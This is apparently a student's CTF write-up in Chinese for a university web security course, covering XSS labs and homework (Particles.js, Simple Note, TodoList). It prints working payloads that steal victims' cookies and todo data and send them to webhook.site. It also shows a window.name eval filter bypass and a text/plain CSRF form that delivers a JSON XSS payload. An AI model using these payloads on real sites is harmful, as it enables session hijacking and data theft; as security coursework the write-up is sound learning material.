---
tags: CS 2022 Fall, 程式安全
author: Ching367436
---
# [0x0b] Web II(程式安全)
lecture: https://youtu.be/r-WGQuEpRVk
slide: https://drive.google.com/file/d/1wRNMRO6JzA3taST9dvC_jmf7aOm-K66T/view?usp=sharing
<!-- 這邊解題目會用到這個
https://webhook.site/#!/78a14f9e-5d69-4ab1-8836-3040ba14bddb/7c150098-b491-4973-9743-cb763e5b59f2/1 -->
### [LAB] Particles.js
我們可以提供題目 `?config=hwllo`
![](https://i.imgur.com/F9M9Jf8.png)
可以看到會被 reflect 到網頁上
這邊發現會擋單引號
所以不能直接結束他的單引號
不過這裡可以使用反斜線來跳脫他的單引號
然後再把 `<script>` 結束掉
然後在開一個 `<script>` 來放自己的 `payload`
只要把 `config` 設成以下就可以把 `victim` 的 `cookie` 帶到我這邊
###### `config`
```
1;alert();</script>
<script>
location=
`https://webhook.site/78a14f9e-5d69-4ab1-8836-3040ba14bddb?`
+document.cookie
</script>\
```
###### `植入後的樣子`
![](https://i.imgur.com/EOvNLay.jpg)
所以只要把下面這個送給 `admin` 就可以偷走他的 `cookie` 了
http://particles.ctf.zoolab.org/?config=1%3balert()%3b%3c%2fscript%3e%3cscript%3elocation%3d%60https%3a%2f%2fwebhook.site%2f78a14f9e-5d69-4ab1-8836-3040ba14bddb%3f%60%2bdocument.cookie%3c%2fscript%3e%5c
###### `送 payload 給 admin`
![](https://i.imgur.com/KwsjgdG.png)
###### `收到 admin 的 cookie`
![](https://i.imgur.com/HTmzOzs.png)
### [LAB] Simple Note
進到題目發現是個可以寫 `Note` 的地方
![](https://i.imgur.com/O1Jb4Ng.png)
寫一個 `Note` 送出後會跑到另一個頁面
那個頁面會從前端去 `fetch` 我們寫的那個 `Note`
![](https://i.imgur.com/Q3kQHSU.png)
可以看到上面 `:24` 的 `title` 是我們可控的
而且他用的是危險的 `innerHTML`
可以使用 `<img src=x onerror='alert()'>` 來達成 `XSS`
不過他的 `title` 後端有限制 40 個字
###### `字數限制`
![](https://i.imgur.com/gRZD0Mh.png)
這邊就利用 `eval(window.name)` 來繞
這邊先讓 `victim` 到自己可控的網頁把 `window.name` 控制成偷餅乾的 `payload`
然後把 `victim` 導向有我們 `eval(window.name)` `XSS` 的 `note`
這樣就會執行到我們的 `payload`
這邊可以使用上一題的 `XSS` 來控制 `window.name` 及導向 `note`
###### `利用上一題的 XSS 控制 window.name`
https://particles.ctf.zoolab.org/?config=1%3balert()%3b%3c%2fscript%3e%3cscript%3ewindow.name%3d%22location%3d%60https%3a%2f%2fwebhook.site%2f78a14f9e-5d69-4ab1-8836-3040ba14bddb%3f%60%2bdocument.cookie%22%3blocation%3d%60http%3a%2f%2fnote.ctf.zoolab.org%2fnote%2f7c1082165ea6aefc7673d16d%60%3c%2fscript%3e%5c
###### `利用自己的網頁控制 window.name`
```url
https://ching367436.github.io/hserver/h.html?
url=https://note.ctf.zoolab.org/note/7c1082165ea6aefc7673d16d&
name=
location=`https://example.com/?${document.cookie}`
```
#### `Exploitation`
##### Step1
製作一個內容有這個的 `note`
```html
<img src=x onerror='eval(window.name)'>
```
##### Step2 控制 `window.name`
先把 `victime` 帶到我們可控的地方
在那個地方把 `window.name` 設成我們要執行的 `script`
也就是偷 `cookie`
###### `window.name`
```javascript
// send cookie to example.com
location=
`https://example.com/?${document.cookie}`
```
##### Step3
把 `victim` 重新導向到 `Step1` 設好的 `note` 裡面
這樣子就會執行 `eval(window.name)`
也就是 `Step2` 的偷 `cookie` 的 `script`
##### Step4
最後只需要把上面做好的 `Exploit` 送給 `admin` 就好了
###### `送 payload 給 admin`
```http
POST /report HTTP/1.1
Host: edu-ctf.zoolab.org:10204
Content-Length: 259
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://edu-ctf.zoolab.org:10204
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://edu-ctf.zoolab.org:10204/note/7c1082165ea6aefc7673d16d
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ofmvir92rth2rumh20s133dog7
Connection: close
url=https%3a%2f%2fching367436.github.io%2fhserver%2fh.html%3furl%3dhttp%3a%2f%2fedu-ctf.zoolab.org%3a10204%2fnote%2f7c1082165ea6aefc7673d16d%26name%3dlocation%3d%60https%3a%2f%2fwebhook.site%2f78a14f9e-5d69-4ab1-8836-3040ba14bddb%3f%24%7bdocument.cookie%7d%60
```
###### `收到 admin 的 flag`
![](https://i.imgur.com/r3qEfXT.png)
### [HW] TodoList
進來題目看到一個登入註冊頁面
這個網站使用了 `Express` `nginx`
![](https://i.imgur.com/rOOK3Pj.png)
來檢查一下 `headers`
```html=
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Fri, 30 Dec 2022 00:32:04 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 1774
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"6ee-bnJV5par9WDmoo5lLhS2htEFrgk"
<
<!DOCTYPE html>
<html lang="en">
<head>
<title>Simple Note</title>
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-31d28cf6966b06f2bab2d9bfeca941ea' https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js">
...
<script nonce="31d28cf6966b06f2bab2d9bfeca941ea">
var action = "Login";
var switchAction = function(e){
action = e.target.innerText;
btn.innerText = action;
}
kbdLogin.onclick = kbdRegister.onclick = switchAction;
btn.onclick = function(e){
fetch(`/api/${action.toLowerCase()}`,{
method: "POST",
body: JSON.stringify({username:username.value, password:password.value})
}).then(r => r.json()).then(e => {
if (e.error) alert(e.error);
if (e.success) location = '/todo';
})
}
</script>
</body>
</html>
```
`:14` 可以看到有 `CSP` `dompurify` `nonce`
感覺是個前端題
這邊知道是 `Express`
不過還是試一下 `.git` `robots.txt`
都沒東西 而且連 `404` 頁面都有 `CSP`
```html
< HTTP/1.1 404 Not Found
< Server: nginx/1.18.0 (Ubuntu)
< Date: Fri, 30 Dec 2022 00:37:36 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 143
< Connection: keep-alive
< X-Powered-By: Express
< Content-Security-Policy: default-src 'none'
< X-Content-Type-Options: nosniff
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /.git</pre>
</body>
</html>
```
看到這邊回去看看題目要我們做什麼
![](https://i.imgur.com/BJ7VTqW.png)
結果發現有 `source code`
我們要做的事情是拿到 `admin` 的 `flag`
就先來看看 `source code`
#### source
`docker-compose.yml`
```dockerfile=
version: '3.7'
services:
bot:
build:
context: ./bot
restart: always
environment:
- PORT=8080
- SITE=https://todo.ctf.zoolab.org/ # Admin will login to https://todo.ctf.zoolab.org, but for local test, you should set this to something like https://localhost:443
- REPORT_HOST=web
- ADMIN_PASSWORD=dummypassword
web:
build:
context: ./web
environment:
- BOT_HOST=bot
- BOT_PORT=8080
- FLAG=FLAG{dummyflag}
- ADMIN_PASSWORD=dummypassword
restart: always
ports:
- "18443:443"
```
看到有分成 `bot` `web` 兩個部分
來看 `web`
`web/src/package.json`
```json=
{
"dependencies": {
"ejs": "^3.0.1",
"express": "^4.18.2",
"express-session": "^1.17.3",
"https": "^1.0.0",
"xfetch-js": "^0.5.0"
},
"scripts": {
"start": "node app.js"
}
}
```
看到 `:10`
進入 `app.js`
#### `web/src/app.js`
![](https://i.imgur.com/LTTNFjQ.png)
看到架構
決定順著我們進入的網頁順序看
來看 `app.get("/api/login")`
![](https://i.imgur.com/LZM0iP0.png)
`:91` 看到他用了叫做 `db` 的東西
來看看那是什麼
![](https://i.imgur.com/FClPohj.png)
原來那是 `js` 的 `Map`
我們還看到了 `:27` 會把 `flag` 放到 `db.get("admin").todo[0].text` 裡面
回來 `app.get("/api/login")`
`:88,89` 的 `username` `password` 很嚴格
`:95` 我們知道 `req.session.username` 有被設的話就是登入成功
也許會有什麼地方我們可以控制這個
或是有哪邊沒有檢查到 `req.session.username` 的功能
總共有 8 個地方出現了 `req.session.username`
目前看來都有把該處理的地方處理
![](https://i.imgur.com/AmuQvuJ.png)
接著來看看前端的部分
##### `web/src/views/todo.ejs`
```html=
<!DOCTYPE html>
<html lang="en">
<head>
<title>Note</title>
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<%= nonce %>' https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js">
<link rel="stylesheet" href="https://cdn.simplecss.org/simple.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js"></script>
</head>
<body>
<main>
<h1>TODO List</h1>
<hr>
<article id="container">
</article>
<input type="text" id="inputNode" style="width: 100%">
<input type="hidden" id="csrfToken" value="<%= csrfToken %>">
<button id="logout">Logout</button>
<button id="report">Report</button>
</main>
<script nonce="<%= nonce %>">
var todoList = [];
async function updateTodoList(){
todoList = await fetch('/api/todo').then(r=>r.json());
render();
}
function saveTodoList(e){
let id = e.target.id;
todoList[id].checked = 1;
fetch('/api/todo', {method: 'POST', body: JSON.stringify({todo: todoList, csrfToken: csrfToken.value})});
}
function render(){
container.innerHTML = '';
for(let i = 0; i < todoList.length; i++){
let item = todoList[i];
let tmpNode = document.createElement("label");
tmpNode.innerHTML = `<input type="checkbox"> <code></code>`;
tmpNode.firstChild.checked = item.checked;
tmpNode.firstChild.id = i;
tmpNode.firstChild.onchange = saveTodoList;
tmpNode.lastChild.innerHTML = DOMPurify.sanitize(item.text);
container.appendChild(tmpNode);
}
}
inputNode.onkeypress = function(e){
if (e.key === 'Enter') {
todoList.push({checked: 0, text: inputNode.value});
fetch('/api/todo', {method: 'POST', body: JSON.stringify({todo: todoList, csrfToken: csrfToken.value})}).then(()=>render());
inputNode.value = '';
}
};
logout.onclick = ()=>{ location = '/api/logout'; };
report.onclick = function(e){
let url = prompt("URL:");
fetch('/api/report', {
method: 'POST',
body: JSON.stringify({
url,
csrfToken: csrfToken.value
})
}).then(r=>r.text()).then(t=>alert(t));
}
window.onload = updateTodoList;
setInterval(updateTodoList, 500);
</script>
</body>
</html>
```
<!--
Using XSS in one iframe to read another same-origin iframe
Apply CSS to nearby nodes of hidden input using `has`, `+` or `~` CSS selectors
Use text/plain CSRF to POST json XSS payload
-->
看到 `:31,43` 的 `render` 有 `innerHTML` 出現
其中我們能控制的的部分在 `:40`
只是會被 `DOMPurify.sanitize`
```javascript
tmpNode.lastChild.innerHTML = DOMPurify.sanitize(item.text);
```
<!-- 到這邊想了一下要從那邊生出 `XSS`
想到還有其他題目可以用 -->
而且 `:5` 還有 `CSP`
丟 `CSP Evaluator` 看看
```csp
script-src 'nonce-<%= nonce %>' https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js
```
![](https://i.imgur.com/L9eJdJ3.png)
這裡有 `dompurify` 的可用 `tag`
https://github.com/cure53/DOMPurify/blob/1.0.8/src/tags.js
這邊想了 `<base>` 會被過濾
不過可以植入 `<style>` 拿來偷資料
或是哪邊有 `DOM Clobbering` 之類的
#### XSS
{%hackmd hackmd-dark-theme %}
在 `app.post("/api/report")` 有 XSS,只是是 POST 的,而且還要 CSRF token。
CSRF token 由以下方式構成,而由於是跑在 Docker 上,所以大家的 `req.ip` 都會一樣,`csrfToken` 是固定的值。可以看出 `csrfToken` 可以重複利用。
```javascript
salt = crypto.randomBytes(4).toString('hex');
csrfToken = salt + crypto.createHash('md5').update(salt + req.ip + csrfSecret, 'utf8').digest('hex')
```
依照上面的觀察,可以構造出以下自動 XSS 的 payload,只要把 `csrfToken` 置換成任意合法的 `csrfToken` 就可以自由 XSS 了。
```html
https://security.stackexchange.com/questions/127237/xss-not-exploitable-when-post-data-is-sent-in-json
<form action="https://192.168.50.42:18443/api/report" method="post" enctype="text/plain">
<input name='
{
"url": "https://www.google.com/<script>alert(1)</script>",
"csrfToken": "5247f5add4ef3a498ff6d4cfa422200db14af04a",
"ignore_me":"' value='test"}' type='hidden'>
</form>
<script>
document.forms[0].submit();
</script>
```
以下是最終的 payload:
```html
https://security.stackexchange.com/questions/127237/xss-not-exploitable-when-post-data-is-sent-in-json
<form action="https://192.168.50.42:18443/api/report" method="post" enctype="text/plain">
<input name=' { "url": "https://www.google.com/<script> (async ()=> { let res = await fetch(`/api/todo`).then(r=>r.text()); location=`https://webhook.site/cea0effe-97b0-48a6-9ec3-cdd8fc904d57?`+res; })(); </script>", "csrfToken": "5247f5add4ef3a498ff6d4cfa422200db14af04a",
"ignore_me":"' value='test"}' type='hidden'>
</form>
<script>
document.forms[0].submit();
</script>
```
![](https://hackmd.io/_uploads/HkPSPni_n.png)